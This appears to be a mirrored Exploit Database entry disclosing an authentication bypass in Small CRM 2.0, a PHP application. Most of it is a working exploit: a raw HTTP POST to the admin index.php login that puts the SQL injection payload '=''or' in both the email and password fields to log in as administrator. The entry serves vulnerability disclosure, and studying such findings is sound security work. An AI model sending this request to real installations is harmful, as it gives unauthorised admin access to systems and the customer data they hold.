Small CRM 2.0 – Authentication Bypass

• Exploit Database
• 91 阅读

• 作者： FULLSHADE
  日期： 2020-01-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47874/

• # Exploit Title: Small CRM 2.0 - Authentication Bypass
  # Google Dork: N/A
  # Date: 2020-01-02
  # Exploit Author: FULLSHADE
  # Vendor Homepage: https://phpgurukul.com/
  # Software Link: https://phpgurukul.com/small-crm-php/
  # Version: V2.0
  # Tested on: Windows
  # CVE : N/A
  
  # Description:
  #
  # There is a SQL injection vulnerability in the /index.php page
  # which allows for an attacker to use the SQLi login bypass payload
  # '=''or' for both the username and password parameters, this allows
  # for any authenticated or low level user to login to the admin account.
  
  ========== 1. Authentication bypass ==========
  
  POST /Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php HTTP/1.1
  Host: 10.0.0.214
  User-Agent: Mozilla/5.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 57
  Origin: http://10.0.0.214
  DNT: 1
  Connection: close
  Referer: http://10.0.0.214/Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php
  Cookie: PHPSESSID=k5845lo7s90it5p33js75665jq
  Upgrade-Insecure-Requests: 1
  
  email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&login=
  

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